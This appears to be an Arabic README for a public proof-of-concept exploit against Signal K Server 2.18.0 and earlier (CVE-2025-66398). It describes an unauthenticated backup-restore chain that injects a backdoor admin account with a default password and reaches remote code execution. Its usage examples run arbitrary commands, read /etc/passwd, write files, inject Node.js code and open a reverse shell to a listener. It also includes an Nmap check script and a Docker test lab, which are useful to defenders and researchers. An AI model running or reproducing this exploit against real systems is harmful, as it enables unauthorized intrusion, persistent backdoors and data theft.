
CVE-2025-66398 — إثبات مفهوم (PoC) لاستغلال تنفيذ التعليمات البرمجية عن بُعد (RCE) في خادم Signal K ≤ 2.18.0
CVE-2025-66398 هي مشكلة في خادم Signal K Server حيث يمكن لمهاجم غير مصادق تسميم حالة الاستعادة الخاصة بالخادم عبر /skServer/validateBackup، ثم اختطاف الإعدادات عبر /skServer/restore لحقن حساب مسؤول خلفي (Backdoor) وتحقيق تنفيذ تعليمات برمجية عن بُعد (RCE) اختياريًا عبر تبديل استراتيجية الأمان إلى وحدة Node.js يتحكم بها المهاجم.
Signal K Server ≤ 2.18.0
الأثر (على مستوى عالٍ): تلويث الحالة دون مصادقة ← حقن مسؤول خلفي ← تنفيذ تعليمات برمجية عن بُعد (عند حدوث استعادة + إعادة تشغيل)
/skServer/validateBackup يقبل الرفع دون مصادقة.http-signalk-cve-2025-66398.nse جاهز للاستخدام في فحوصات الشبكة (فحص فقط، دون استغلال).git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
go build -o exp cve-2025-66398.go
go install github.com/joshuavanderpoll/cve-2025-66398@latest
go run github.com/joshuavanderpoll/cve-2025-66398@latest -target http://127.0.0.1:8111
يحتوي هذا الإثبات على وضعين:
-check و -command و -read-file وغيرها. (يُنصح به فقط بعد نجاح الوضع التفاعلي أولاً)python3 cve-2025-66398.py -h
# أو إصدار GoLang
./cve-2025-66398 -h
___ __ ___ ___ __ __ _______ ___
____ _____ __|_ ) \_ ) __|___ / / / /|__ / _ ( _ )
/ _\ V / -_)___/ / () / /|__ \___/ _ \/ _ \|_ \_, / _ \
\__|\_/\___| /___\__/___|___/ \___/\___/___//_/\___/
https://github.com/joshuavanderpoll/cve-2025-66398
usage: exp.py [-h] [-target URL] [-useragent UA] [-timeout SEC] [-target-os OS] [-signalk-dir DIR] [-check] [-admin-user USER] [-admin-pass PASS] [-backdoor-user USER] [-backdoor-pass PASS] [-command CMD]
[-read-file PATH] [-write-file CONTENT PATH] [-code CODE] [-shell] [-lhost HOST] [-lport PORT]
CVE-2025-66398 -- Signal K State Pollution -> Backdoor -> RCE
options:
-h, --help show this help message and exit
-target URL Base URL of the Signal K server
-useragent UA User-Agent header for all HTTP requests
-timeout SEC Request timeout in seconds (default: 10)
-target-os OS Target server OS for payload/path adaptation: linux (default) or windows
-signalk-dir DIR Override the Signal K data directory on the target (default: OS-dependent)
-check Test if the target is vulnerable without exploiting it
-admin-user USER Admin username for Phase 2 restore
-admin-pass PASS Admin password for Phase 2 restore
-backdoor-user USER Backdoor username to inject (default: backdoor)
-backdoor-pass PASS Backdoor password to inject (default: H4CK1nd3x!)
-command CMD Execute a command on the server (non-interactive)
-read-file PATH Read a remote file via RCE
-write-file CONTENT PATH
Write CONTENT to PATH on the server via RCE
-code CODE Inject raw Node.js code as the security module
-shell Deploy a reverse shell (requires -lhost and -lport)
-lhost HOST Listener host for reverse shell
-lport PORT Listener port for reverse shell
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -check
# أو إصدار GoLang
./cve-2025-66398 -target http://127.0.0.1:3000 -check

تم تضمين نص Nmap مستقل يقوم بنفس الفحص دون مصادقة — دون استغلال.
# ضد منفذ Signal K معروف
nmap -p 3000 --script ./http-signalk-cve-2025-66398.nse <target>
# التثبيت على مستوى النظام والتشغيل دون مسار
sudo cp http-signalk-cve-2025-66398.nse $(nmap --datadir)/scripts/
sudo nmap --script-updatedb
nmap -p 3000 --script http-signalk-cve-2025-66398 <target>
مثال على المخرجات:
PORT STATE SERVICE
9360/tcp open unknown
| http-signalk-cve-2025-66398:
| state: VULNERABLE
| title: Signal K Server Unauthenticated Backup Upload leading to RCE
| IDs: CVE-2025-66398
|_ references: https://github.com/joshuavanderpoll/cve-2025-66398 | https://www.cve.org/CVERecord?id=CVE-2025-66398
python3 cve-2025-66398.py -target http://127.0.0.1:3000
# أو إصدار GoLang
./cve-2025-66398 -target http://127.0.0.1:3000

سيقوم البرنامج النصي بالآتي:
.backup خبيث إلى /skServer/validateBackup (بدون مصادقة)/skServer/restoreتشغيل السلسلة الكاملة (المراحل 1 إلى 3) وتنفيذ أمر:
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"
# أو إصدار GoLang
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"

قراءة ملف بعيد (المرحلة 3):
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd
# أو إصدار GoLang
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd

قشرة عكسية (المرحلة 3):
nc -lvnp 4444
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <YOUR_IP> -lport 4444
# أو إصدار GoLang
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <YOUR_IP> -lport 4444

ملاحظات:
-admin-user/-admin-pass، يفترض البرنامج النصي أن حساب الباب الخلفي مفعّل بالفعل من تشغيل سابق.backdoor / H4CK1nd3x! (يمكن تجاوزها عبر -backdoor-user / -backdoor-pass).-signalk-dir <DIR>.بيئة Docker Compose متكاملة تحتوي على البرنامج القابل للاستغلال للاختبار المحلي. اطلع على DOCKER.md لمزيد من التفاصيل
cd docker/
docker compose up -d
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360 -check
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360
هذا الإثبات مخصص للاختبارات الأمنية التعليمية والمصرح بها فقط. لا تشغّله ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.